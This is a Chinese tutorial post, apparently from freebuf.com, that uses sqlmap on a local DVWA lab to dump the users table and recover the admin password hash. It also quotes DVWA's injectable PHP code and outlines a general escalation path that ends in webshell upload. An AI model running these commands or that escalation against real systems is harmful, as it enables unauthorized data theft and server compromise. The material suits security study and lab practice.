本来没想过要先做sql注入,只是因为时间太久了,自己手贱+脑残,将自己的DVWA环境的admin用户的密码改了并且成功的忘记了,网上百度一下DVWA里别的默认账号默认密码进行登录,理论上可以尝试爆破一波试试,就当实战了。但一想到我早就装好的sqlmap一直没用过,要不试试sqlmap注入,看看能不能直接在数据库里找密码,接下来就是分享操作过程:
1、先请求,在user id一栏里输入“1”,点提交
2、得到请求的url
http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#
sqlmap用起来:
发现状态码为302,是重定向至登录页面,所以我们还需要获取一下cookie
3、获取cookie
可以使用抓包工具查看,也可以使用F12查看:
获取到cookie:
Cookie: security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe
4、sqlmap继续跑起来
sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe” –batch
此处,可以看到 id就是存在可以sql注入的参数,还发现存在4中类型的SQL注入漏洞
同时延申一下:
UNION query SQL injection(可联合查询注入)
Boolean-based blind SQL injection(布尔型注入)
Error-based SQL injection(报错型注入)
Time-based blind SQL injection(基于时间延迟注入)
5、可以找出所有的数据库信息
sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe” –batch –dbs(dbs为所有的数据库)
成功爆出五个数据库来:dvwa、information_schema、mysql、performance_schema、sys
6、定位当前数据库
sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe” –batch –current-db
当前数据库是“dvwa”
7、看看能不能直接找到密码
sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe” –batch –users –passwords
账号密码是加密的,passsword hash: 显示的哈希密码,说明猜对了,存在users表,以及password字段
8、查看此数据库的表
sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe” –batch -D dvwa –tables 注意:-D dvwa是选择dvwa数据库。
两张表,一般users表里保存的是账号与密码。
9、查看表数据
sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe” –batch -D dvwa –tables -T users –columns 注意:-T 是选择数据表。
nice!可以看到表的信息。
10、dump出password的详细信息
sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe” –batch -D dvwa -T users -C user,password -dump 注意:-dump 转储数据库表象,说白了就是显示具体内容
同时记一个公式: -D数据库 -T表名 -C字段名 –dump
11、重新登录DVWA,选择admin用户
至此,整个过程结束,sqlmap一把梭真的很爽。
但有一点必须谨记,自己的测试环境随便弄没关系,如果是客户的正式生产环境,做渗透测试一般能看到表名就不要往下了,只需要证明sql注入存在即可,而不要真的去窃取人家的详细数据。
再回头看看源代码
<?php
if( isset( $_REQUEST[ ‘Submit’ ] ) ) {
// Get input
$id = $_REQUEST[ ‘id’ ];
// Check database
$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”;
$result = mysqli_query($GLOBALS[“___mysqli_ston”], $query ) or die( ‘<pre>’ . ((is_object($GLOBALS[“___mysqli_ston”])) ? mysqli_error($GLOBALS[“___mysqli_ston”]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>’ );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row[“first_name”];
$last = $row[“last_name”];
// Feedback for end user
echo “<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>”;
}
mysqli_close($GLOBALS[“___mysqli_ston”]);
}
?>
查看代码可知,服务器对传来的 user_id 没有任何过滤,所以注入过程很轻松。
12、总结一下
SQL 注入常规利用思路:
1、寻找注入点,可以通过 web 扫描工具实现
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。
手工注入常规思路:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据
来源:freebuf.com 2020-10-10 11:40:44 by: fu福lin林
请登录后发表评论
注册